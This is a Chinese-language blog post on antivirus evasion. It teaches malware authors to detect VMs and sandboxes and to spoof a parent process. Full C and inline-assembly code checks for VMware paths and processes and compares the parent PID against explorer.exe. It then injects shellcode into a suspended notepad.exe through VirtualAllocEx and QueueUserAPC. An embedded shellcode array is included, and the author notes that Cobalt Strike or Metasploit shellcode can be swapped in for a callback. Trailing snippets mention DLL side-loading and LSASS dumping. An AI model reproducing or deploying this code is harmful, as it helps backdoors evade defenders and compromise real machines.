<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    免殺沙箱調試與反調試實戰

    VSole2021-10-16 07:01:20

    前言

    最近在研究免殺這一塊的知識,說到免殺肯定就逃不過沙箱。對于沙箱的通俗理解就是一個安全的箱子,這個箱子能夠模擬出軟件執行蘇需要的環境(如模擬虛擬機環境),通過hook跳轉到自己的函數進行行為分析。所以我們的后門文件想要更好的躲避殺軟的查殺,首先肯定要做好反調試才能在對抗殺軟時后顧無憂。本文基于自己學習過程中的一些知識進行了總結,不足之處還請師傅們提出。

    反虛擬機調試

    我想現在一般的沙箱都不會是虛擬機環境,但如果我們在對抗的過程中被藍隊人員拿到了樣本,他想用od去調一下這個程序怎么走的,肯定也不會拿到本機里面調,如果這個exe有毒,那電腦就全完了,所以最好的選擇還是虛擬機環境,首先反調試的第一個目標就是反虛擬機調試。

    根據文件路徑

    查閱資料后發現如果使用虛擬機,一般的路徑都為(在沒有修改過的情況下)

    C:\Program Files\VMware
    

    那么第一種反虛擬機的方式就是通過判斷C盤目錄下是否有這個文件夾,這里用到``PathIsDirectory`這個api

    BOOL PathIsDirectoryA(
      LPCSTR pszPath    //指向包含要驗證的路徑的最大長度為 MAX_PATH 的空終止字符串的指針
    );
    

    如果路徑是有效目錄,則返回 (BOOL)FILE_ATTRIBUTE_DIRECTORY;否則返回FALSE

    那么這里我們就可以進行判斷,如果存在這個路徑則向下執行代碼

    if (PathIsDirectory("C:\\Program Files\\VMware"))
    

    使用__asm把參數傳進去,并定義一個shellcode,存在這個路徑則彈窗

        __asm{
          lea eax, shellcode;
          push eax;
          ret;
        }
    

    完整代碼如下

    #include "stdafx.h"
    #include 
    #include "shlwapi.h"
    #pragma comment(lib, "shlwapi.lib")
    char shellcode[] =
        "\xfc\x68\x6a\x0a\x38\x1e\x68\x63\x89\xd1\x4f\x68\x32\x74\x91\x0c"
        "\x8b\xf4\x8d\x7e\xf4\x33\xdb\xb7\x04\x2b\xe3\x66\xbb\x33\x32\x53"
        "\x68\x75\x73\x65\x72\x54\x33\xd2\x64\x8b\x5a\x30\x8b\x4b\x0c\x8b"
        "\x49\x1c\x8b\x09\x8b\x69\x08\xad\x3d\x6a\x0a\x38\x1e\x75\x05\x95"
        "\xff\x57\xf8\x95\x60\x8b\x45\x3c\x8b\x4c\x05\x78\x03\xcd\x8b\x59"
        "\x20\x03\xdd\x33\xff\x47\x8b\x34\xbb\x03\xf5\x99\x0f\xbe\x06\x3a"
        "\xc4\x74\x08\xc1\xca\x07\x03\xd0\x46\xeb\xf1\x3b\x54\x24\x1c\x75"
        "\xe4\x8b\x59\x24\x03\xdd\x66\x8b\x3c\x7b\x8b\x59\x1c\x03\xdd\x03"
        "\x2c\xbb\x95\x5f\xab\x57\x61\x3d\x6a\x0a\x38\x1e\x75\xa9\x33\xdb"
        "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6c\x8b\xc4\x53\x50\x50"
        "\x53\xff\x57\xfc\x53\xff\x57\xf8";
    int main(int argc, CHAR* argv[])
    {
        if (PathIsDirectory("C:\\Program Files\\VMware"))
        {
            __asm{
              lea eax, shellcode;
              push eax;
              ret;
        }
        }
        return 0;
    }
    

    實現效果如下所示

    這里思考了一下,弄個彈窗出來過于明顯,那么也可以直接exit()退出我們寫的程序,或者直接把shellcode換成cs的直接回連上線

    根據進程信息

    這里在查看幾個虛擬機后發現vm的默認進程有vmtoolsd.exevmacthlp.exe,這里直接判斷進程是否存在即可起到反調試的效果

    通過CreateToolhelp32Snapshot這個API來拍攝進程快照,再比對PROCESSENTRY32 中的szExeFile與進程名是否相同即可

    實現代碼如下

    #include "stdafx.h"
    #include 
    #include "shlwapi.h"
    #pragma comment(lib, "shlwapi.lib")
    char shellcode[] =
        "\xfc\x68\x6a\x0a\x38\x1e\x68\x63\x89\xd1\x4f\x68\x32\x74\x91\x0c"
        "\x8b\xf4\x8d\x7e\xf4\x33\xdb\xb7\x04\x2b\xe3\x66\xbb\x33\x32\x53"
        "\x68\x75\x73\x65\x72\x54\x33\xd2\x64\x8b\x5a\x30\x8b\x4b\x0c\x8b"
        "\x49\x1c\x8b\x09\x8b\x69\x08\xad\x3d\x6a\x0a\x38\x1e\x75\x05\x95"
        "\xff\x57\xf8\x95\x60\x8b\x45\x3c\x8b\x4c\x05\x78\x03\xcd\x8b\x59"
        "\x20\x03\xdd\x33\xff\x47\x8b\x34\xbb\x03\xf5\x99\x0f\xbe\x06\x3a"
        "\xc4\x74\x08\xc1\xca\x07\x03\xd0\x46\xeb\xf1\x3b\x54\x24\x1c\x75"
        "\xe4\x8b\x59\x24\x03\xdd\x66\x8b\x3c\x7b\x8b\x59\x1c\x03\xdd\x03"
        "\x2c\xbb\x95\x5f\xab\x57\x61\x3d\x6a\x0a\x38\x1e\x75\xa9\x33\xdb"
        "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6c\x8b\xc4\x53\x50\x50"
        "\x53\xff\x57\xfc\x53\xff\x57\xf8";
    {
        DWORD ret = 0;  
     
        HWND hListModules;
        HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        if (hSnapshot == INVALID_HANDLE_VALUE)
        {
            return FALSE;
        }
        PROCESSENTRY32 pe32;
        pe32.dwSize = sizeof(pe32);    //初始化空間
        BOOL pr = Process32First(hSnapshot, &pe32);    //快照句柄&指向PROCESSENTRY32的指針  
        
        while(pr)  
        {  
            if (strcmp(pe32.szExeFile, "vmtoolsd.exe")== 0) // if (strcmp(pe32.szExeFile, "vmacthlp.exe")==0)
            {  
                __asm
                {
                  lea eax,shellcode;
                  jmp eax;
                }
                return TRUE;  
            }  
            pr = Process32Next(hSnapshot, &pe32);   
        }  
        CloseHandle(hSnapshot);
    }
    

    反沙箱調試

    最簡單的反調試的措施就是檢測父進程。一般來說,我們手動點擊執行的程序的父進程都是explorer。如果一個程序的父進程不是explorer,那么我們就可以認為他是由沙箱啟動的。那么我們就直接exit退出,這樣,殺軟就無法繼續對我們進行行為分析了。

    這里的思路是使用CreateToolhelp32Snapshot拍攝快照,從快照中獲取explorer.exe的id,再根據pid在進程快照中獲取其父進程的id信息,兩者進行比較,若相同則不為沙箱可以繼續運行程序,若不相同則為沙箱直接exit()退出程序

    首先通過調用CreateToolhelp32Snapshot拍攝快照

    HMODULE hModule = LoadLibrary(_T("Kernel32.dll"));
    FARPROC Address = GetProcAddress(hModule, "CreateToolhelp32Snapshot");
    

    然后使用匯編語句進行傳參

    _asm{
        push 0
        push 2
        call Address
        mov hkz, eax
    }
    

    因為傳參的話是從右往左傳參,傳入的第一個參數就是2,在createtoolhelp32snapshot里第一個參數為2的時候含義如下

    第二個參數傳入0,代表的是默認進程

    遍歷結構并返回父進程

    if ( Process32First( hkz, &pe ) ){
        do{
            if ( pe.th32ProcessID == pid ){
                ParentProcessID = pe.th32ParentProcessID;
                break;
            }
        }
        while ( Process32Next( hkz, &pe ) );
    }
    return ParentProcessID;
    

    然后再編寫一個函數獲取explorer.exe 的pid,代碼如下

    DWORD get_explorer_processid() 
    {
        HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        PROCESSENTRY32 process = { 0 };
        process.dwSize = sizeof(process);
        if (Process32First(snapshot, &process)) 
        {
            do 
            {
                if (!wcscmp(process.szExeFile, L"explorer.exe"))
                    break;
            } while (Process32Next(snapshot, &process));
        }
        CloseHandle(snapshot);
        return process.th32ProcessID;
    }
    

    然后再對兩個函數返回的ID進行比較,如果ID相同則不為沙箱,若不相同的話則直接退出

    完整代碼如下,若相同則彈窗,若不相同則直接退出程序

    // testvm.cpp : 此文件包含 "main" 函數。程序執行將在此處開始并結束。
    //
    #include 
    #include 
    #include 
    #include 
    DWORD get_parent_processid(DWORD pid)
    {
        DWORD ParentProcessID = -1;
        PROCESSENTRY32 pe;
        HANDLE hkz;
        HMODULE hModule = LoadLibrary(_T("Kernel32.dll"));
        FARPROC Address = GetProcAddress(hModule, "CreateToolhelp32Snapshot");
        if (Address == NULL) {
            OutputDebugString(_T("GetProc error"));
            return(-1);
        }
        _asm {
            push 0
            push 2
            call Address
            mov hkz, eax
        }
        pe.dwSize = sizeof(PROCESSENTRY32);
        if (Process32First(hkz, &pe)) {
            do {
                if (pe.th32ProcessID == pid) {
                    ParentProcessID = pe.th32ParentProcessID;
                    break;
                }
            }         while (Process32Next(hkz, &pe));
        }
        return ParentProcessID;
    }
    DWORD get_explorer_processid() 
    { //返回explorer.exe的pid
        HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        PROCESSENTRY32 process = { 0 };
        process.dwSize = sizeof(process);
        if (Process32First(snapshot, &process)) 
        {
            do 
            {
                if (!wcscmp(process.szExeFile, L"explorer.exe"))
                    break;
            } while (Process32Next(snapshot, &process));
        }
        CloseHandle(snapshot);
        return process.th32ProcessID;
    }
    int main() {
        DWORD explorer_id = get_explorer_processid();
        DWORD parent_id = get_parent_processid(GetCurrentProcessId());
        if (explorer_id == parent_id) 
        { /* 判斷父進程id是否和explorer進程id相同{ */
            MessageBox(0, L"Not sandbox", L"Success", 0);
        }
        else 
        {
            exit(1);
        }
    }
    

    實現效果

    在正常情況下運行的話pid是相同的那么彈窗不為沙箱

    如果是我直接在vs里面運行一下進行調試就報錯直接退出

    這里再拿到od里面調試一下可以看到直接終止了

    父進程偽造

    在進行完反沙箱調試之后,我不禁又想,有沒有一種方法能夠偽造父進程為explorer.exe呢,那么上面這種反調試的方法就行不通了。

    首先分析一下要偽造父進程肯定要先知道explorer.exe的id,再創建進程和線程

    OpenProcessCreateProcess這幾個常用api就不提了,偽造父進程最重要的一個api就是InitializeProcThreadAttributeList

    InitializeProcThreadAttributeList

    用于初始化指定的屬性列表以創建進程和線程

    BOOL InitializeProcThreadAttributeList(
      LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList,
      DWORD                        dwAttributeCount,
      DWORD                        dwFlags,
      PSIZE_T                      lpSize
    );
    
    lpAttributeList
    The attribute list. This parameter can be NULL to determine the buffer size required to support the specified number of attributes.
    dwAttributeCount
    The count of attributes to be added to the list.
    dwFlags
    This parameter is reserved and must be zero.
    lpSize
    If lpAttributeList is not NULL, this parameter specifies the size in bytes of the lpAttributeList buffer on input. On output, this parameter receives the size in bytes of the initialized attribute list.
    If lpAttributeList is NULL, this parameter receives the required buffer size in bytes.

    另外還有個重要的結構體STARTUPINFOEXA

    typedef struct _STARTUPINFOEXA {
      STARTUPINFOA                 StartupInfo;
      LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList;
    } STARTUPINFOEXA, *LPSTARTUPINFOEXA;
    
    StartupInfo
    A STARTUPINFO structure.
    lpAttributeList
    An attribute list. This list is created by the InitializeProcThreadAttributeList function.

    首先還是要找到explorer.exe的pid

    DWORD getParentProcessID() 
    {
        HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        PROCESSENTRY32 process = { 0 };
        process.dwSize = sizeof(process);
        if (Process32First(snapshot, &process)) 
        {
            do 
            {
                //If you want to another process as parent change here
                if (!wcscmp(process.szExeFile, L"explorer.exe"))
                    break;
            } while (Process32Next(snapshot, &process));
        }
        CloseHandle(snapshot);
        return process.th32ProcessID;
    }
    

    然后就是父進程偽造的代碼,這一塊我自己寫了一小段嘗試,但是寫著寫著就沒思路了,不知道結構該怎么用,還是太菜了,這里跟一下大佬的代碼吧

    首先OpenProcess打開進程,這里調用之前寫的getParentProcessID獲取PID

    HANDLE expHandle = OpenProcess(PROCESS_ALL_ACCESS, false, getParentProcessID()); 
    

    然后ZeroMemory置空

    ZeroMemory(&sInfoEX, sizeof(STARTUPINFOEXA)); 
    

    使用InitializeProcThreadAttributeList 為線程進程創建初始化指定的屬性列表,注意第三個參數保留必須為0

    InitializeProcThreadAttributeList(NULL, 1, 0, &sizeT);
    

    HeapAlloc在堆里面分配內存,GetProcessHeap檢索調用進程默認堆的句柄

    sInfoEX.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, sizeT); 
    

    然后更新指令屬性

    UpdateProcThreadAttribute(sInfoEX.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &expHandle, sizeof(HANDLE), NULL, NULL); 
    

    創建進程

    CreateProcessA("C:\\Windows\\System32\otepad.exe", 
                   NULL, 
                   NULL, 
                   NULL, 
                   TRUE, 
                   CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT, 
                   NULL, 
                   NULL, 
                   reinterpret_cast<LPSTARTUPINFOA>(&sInfoEX),
                   &pInfo);
    

    分配內存并寫入內存

    //分配內存
    LPVOID lpBaseAddress = (LPVOID)VirtualAllocEx(pInfo.hProcess, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); 
    SIZE_T* lpNumberOfBytesWritten = 0;
    //寫入內存
    BOOL resWPM = WriteProcessMemory(pInfo.hProcess, lpBaseAddress, (LPVOID)shellCode, sizeof(shellCode), lpNumberOfBytesWritten); 
    

    進行APC調用

    //APC調用
    QueueUserAPC((PAPCFUNC)lpBaseAddress, pInfo.hThread, NULL); 
    

    啟動線程

    ResumeThread(pInfo.hThread); 
    

    完整代碼如下,這里shellcode可以用cs的shellcode或者msf的shellcode,生成之后就可以上線

    // Parent spoofing.cpp : 此文件包含 "main" 函數。程序執行將在此處開始并結束。
    //
    #include 
    #include 
    #include 
    DWORD getParentProcessID() 
    {
        HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        PROCESSENTRY32 process = { 0 };
        process.dwSize = sizeof(process);
        if (Process32First(snapshot, &process)) 
        {
            do 
            {
                if (!wcscmp(process.szExeFile, L"explorer.exe"))
                {
                    printf("Find explorer failed!");
                    break;
                }
            } while (Process32Next(snapshot, &process));
        }
        CloseHandle(snapshot);
        return process.th32ProcessID;
    }
    int main() 
    {
        unsigned char shellCode[] ="";
        STARTUPINFOEXA sInfoEX;
        PROCESS_INFORMATION pInfo;
        SIZE_T sizeT;
        //打開explorer進程獲取當前進程所有權限
        HANDLE expHandle = OpenProcess(PROCESS_ALL_ACCESS, false, getParentProcessID()); 
        //用0填充數組
        ZeroMemory(&sInfoEX, sizeof(STARTUPINFOEXA)); 
        //初始化指定的屬性列表,創建進程和線程
        InitializeProcThreadAttributeList(NULL, 1, 0, &sizeT);
        //設置進程屬性并從堆中分配內存
        sInfoEX.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, sizeT); 
        InitializeProcThreadAttributeList(sInfoEX.lpAttributeList, 1, 0, &sizeT);
        //更新用于進程和線程創建的屬性列表中的指定屬性
        UpdateProcThreadAttribute(sInfoEX.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &expHandle, sizeof(HANDLE), NULL, NULL); 
       
        sInfoEX.StartupInfo.cb = sizeof(STARTUPINFOEXA);
        CreateProcessA("C:\\Windows\\System32\otepad.exe", 
            NULL, 
            NULL, 
            NULL, 
            TRUE, 
            CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT, 
            NULL, 
            NULL, 
            reinterpret_cast<LPSTARTUPINFOA>(&sInfoEX),
            &pInfo);
        //分配內存
        LPVOID lpBaseAddress = (LPVOID)VirtualAllocEx(pInfo.hProcess, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); 
        
        SIZE_T* lpNumberOfBytesWritten = 0;
        //寫入內存
        BOOL resWPM = WriteProcessMemory(pInfo.hProcess, lpBaseAddress, (LPVOID)shellCode, sizeof(shellCode), lpNumberOfBytesWritten); 
        //APC調用
        QueueUserAPC((PAPCFUNC)lpBaseAddress, pInfo.hThread, NULL); 
        //啟動線程
        ResumeThread(pInfo.hThread); 
        CloseHandle(pInfo.hThread); 
        return 0;
    }
    

    這里啟動的是notepad.exe,實現效果如下

    免殺沙箱
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    最近在研究這一塊的知識,說到肯定就逃不過沙箱。對于沙箱的通俗理解就是一個安全的箱子,這個箱子能夠模擬出軟件執行蘇需要的環境(如模擬虛擬機環境),通過hook跳轉到自己的函數進行行為分析。所以我們的后門文件想要更好的躲避軟的查殺,首先肯定要做好反調試才能在對抗軟時后顧無憂。本文基于自己學習過程中的一些知識進行了總結,不足之處還請師傅們提出。
    前言最近在研究這一塊的知識,說到肯定就逃不過沙箱。所以我們的后門文件想要更好的躲避軟的查殺,首先肯定要做好反調試才能在對抗軟時后顧無憂。本文基于自己學習過程中的一些知識進行了總結,不足之處還請師傅們提出。
    軟淺析
    2021-11-18 13:08:56
    本文將和大家一起淺析常見的軟,如有不足之處還請師傅們指出,謝謝大家。
    知識匯總
    2021-08-25 23:11:00
    知識匯總
    0X01起源在攻防演練中通過運行惡意代碼連接C2是最常用的手段,但是由于對抗程度的提升。以360、天擎為代表的殺毒軟件針對信任鏈的檢測,已經變得愈來愈成熟。這里我們可以理解為,攻擊者通過利用"白加黑"這種攻擊方法。當攻擊者通過社工釣魚的手段,使得目標下載惡意的文件到目標自己的計算機上,并點擊運行白文件時,該文件會在運行時執行惡意DLL。
    CS姿勢
    2022-08-02 16:42:30
    花指令,在程序 shellcode 或特征代碼區域增添垃圾指令,增加的垃圾指令不會影響文件執行,在動態查殺或者文件hash對比是校驗會不一致。加殼,比如upx加殼等,一般文件落地后對比哈希值也可繞過軟。二次編譯,一般用于對shellcode進行二次編譯bypass軟。安裝火絨,查殺CS上線加殼另外再加殼測試。賽門鐵克也未報毒,其它軟不放圖了。
    近年來,大量的后滲透利用(Post-Exploitation)工具包、自定義惡意軟件和開源遠程控制木馬(RAT)等具備豐富的檢測規避技術和反溯源能力的工具,活躍于各種實戰對抗演練、勒索攻擊甚至是具有國家背景的APT攻擊之中。入侵者可以運用這類工具進行終端行為以及網絡通信流量的
    對于很多大佬來說肯定是十分熟悉的,弟弟我只能簡單的介紹下其簡介: cs擁有多種協議主機上線方式,集成了提權,憑據導出,端口轉發,socket代理,office攻擊,文件捆綁,釣魚等功能。同時,cs還可以調用Mimikatz等其他知名工具。0x03 實踐說的再多也不如拿真實情況來說話,實踐主要對上述的六種工具做下簡單的使用,并利用線上沙箱進行簡單的查殺檢測。接下來主要以3.12為主。
    可以自行安裝Visual Studio2022,然后訪問路徑,把工具拖出來使用即可,也可以直接在文末獲取下載地址轉儲 LSASS
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类